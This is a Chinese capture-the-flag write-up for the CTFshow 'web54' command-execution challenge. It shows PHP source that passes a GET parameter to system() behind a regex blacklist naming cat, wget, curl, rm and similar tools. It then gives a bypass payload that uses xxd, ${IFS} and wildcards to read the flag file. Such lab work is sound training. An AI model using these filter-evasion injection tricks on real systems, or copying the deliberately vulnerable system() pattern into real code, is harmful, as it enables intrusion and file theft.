CTFshow 命令执行 web54
目录
- 源码
- 思路
- 题解
- 总结
源码
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}
思路
在正则中 .*c.*a.*t.*
相当于cat中不能穿插任何字符了,不过c?t是可以绕过的,因为没有a,正则匹配不到,可以用/bin/c?t 来代替cat,不过xxd是没有被过滤的,可以直接哪里用。同理,flag被过滤了可以用fla?.php来代替
题解
?c=xxd${IFS}fla?.php
总结
水题
CTFshow 命令执行 web54相关推荐
- CTFshow——命令执行
CTFshow--命令执行 Web29 <?php error_reporting(0); if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_matc ...
- [CTFSHOW]命令执行
文章目录 web 29 web 30 web 31 web32 web33-36 web37 web38 web40 web41 web42 web43 web44 web45 web46 web47 ...
- CTFshow命令执行29-123
命令执行 WEB29 eval是php中执行以PHP脚本执行的命令 PHP命令可以执行脚本命令 本题使用方法是先 system(cp f*.php 1.txt) 然后访问1.txt WEB30 在PH ...
- CTFshow 命令执行 web72
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 ...
- ctfshow 命令执行 web29-web77 web118-122 web124 wp
南神博客 文章目录 命令执行 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 w ...
- ctfshow命令执行篇
web31 echo(`ls%09/`); echo(`tac%09fla*`); web32 过滤; 关键命令执行函数也不能用 用文件包含 其实这个做法也是靠刷题经验猜flag路径 c=includ ...
- [CTFSHOW]命令执行55-74
web 55 if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\< ...
- ctfshow命令执行(持续更新,已更至web39)
做命令执行题比前两种慢很多,到现在也只做了总数的五分之一,慢慢来吧. web29 web30 web31 web32 web33~36 web37 web38 web39 web29 题目如下: er ...
- ctfshow命令执行
目录 web33:[文件包含] web34: web35: web36:多过滤了0-9的数字,用参数逃逸可以不用数字,用字母就可以成功绕过 ,步骤一样,略 web37: web38: web39: w ...
最新文章
- sql建表,建索引注意事项
- linux maps,linux下/proc/pid/maps和pmap命令详解
- 从源码分析DEARGUI之异步传参
- 堆(heap)和栈(stack)有什么区别
- 12、Struts2表单重复提交
- Java中设计模式之工厂模式-4
- Codeforces Round #491 (Div. 2) E - Bus Number + 反思
- 互联网晚报 | 2月25日 星期五 | 元宇宙概念,热度显著下降;​腾讯正洽谈落地“东数西算”大湾区枢纽韶关数据中心集群...
- Vue第三部分(2):Vue-CLI构建前后端分离项目以及打包部署
- delphi php 加密解密_如何恢复被MaMoCrypt勒索软件加密的数据
- localstroge与cookie的区别
- TensorFlow.js:零基础在小程序上实现机器学习
- 对象新增方法 object.is() object.assign()
- C++结构体字节对齐
- ospf 几种LSA类型的总结
- stm32的rxcallback再debug界面显示没有编译,uC/OS-III
- 实验报告(3)-语法分析
- Android入门笔记13
- 基于Django+链家+Bootstrap真实数据的房源推荐/可视化系统
- 中国石油大学《大学语文》在线考试